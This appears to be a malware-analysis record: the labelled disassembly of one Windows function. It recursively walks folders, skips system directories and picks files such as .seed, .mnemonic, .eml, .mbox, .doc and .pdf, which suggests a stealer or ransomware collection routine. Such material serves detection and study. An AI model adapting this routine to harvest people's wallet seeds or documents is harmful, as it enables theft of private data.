Function at 0x401a20
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
mov dword [ebp - 0x18], 0x40a1f8
mov dword [ebp - 0x14], str.boot
mov dword [ebp - 0x10], str.perflogs
mov dword [ebp - 0xc], str.intel
mov dword [ebp - 8], str.msocache
mov dword [ebp - 4], str._recycle.bin
push 0x250
push 0
lea eax, [ebp - 0x478]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
push 0
lea ecx, [ebp - 0x220]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x40a264
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x478]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x401d19
mov eax, dword [ebp - 0x478]
and eax, 0x10
je 0x401b1f
push 0x40a268
lea ecx, [ebp - 0x44c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401b1a
push 0x40a26c
lea edx, [ebp - 0x44c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401b1a
lea eax, [ebp - 0x44c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x220]
push eax
call fcn.00401a20
add esp, 4
jmp 0x401cfd
mov byte [ebp - 0x479], 1
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x228], ecx
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov dword [ebp - 0x480], 0
jmp 0x401b5a
mov eax, dword [ebp - 0x480]
add eax, 1
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 6
jae 0x401b8c
mov ecx, dword [ebp - 0x480]
mov edx, dword [ebp + ecx*4 - 0x18]
push edx
mov eax, dword [ebp - 0x228]
push eax
call fcn.00401d30
add esp, 8
test eax, eax
je 0x401b8a
mov byte [ebp - 0x479], 0
jmp 0x401b8c
jmp 0x401b4b
movzx ecx, byte [ebp - 0x479]
cmp ecx, 1
jne 0x401cfd
push str..txt
lea edx, [ebp - 0x44c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..doc
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..rtf
lea ecx, [ebp - 0x44c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..csv
lea edx, [ebp - 0x44c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..md
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..mnemonic
lea ecx, [ebp - 0x44c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..json
lea edx, [ebp - 0x44c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..pdf
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..seed
lea ecx, [ebp - 0x44c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..eml
lea edx, [ebp - 0x44c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..msg
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..log
lea ecx, [ebp - 0x44c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x401cd6
push str..mbox
lea edx, [ebp - 0x44c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x401cfd
lea eax, [ebp - 0x44c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x220]
push eax
call fcn.00401300
add esp, 4
lea ecx, [ebp - 0x478]
push ecx
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401abc
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret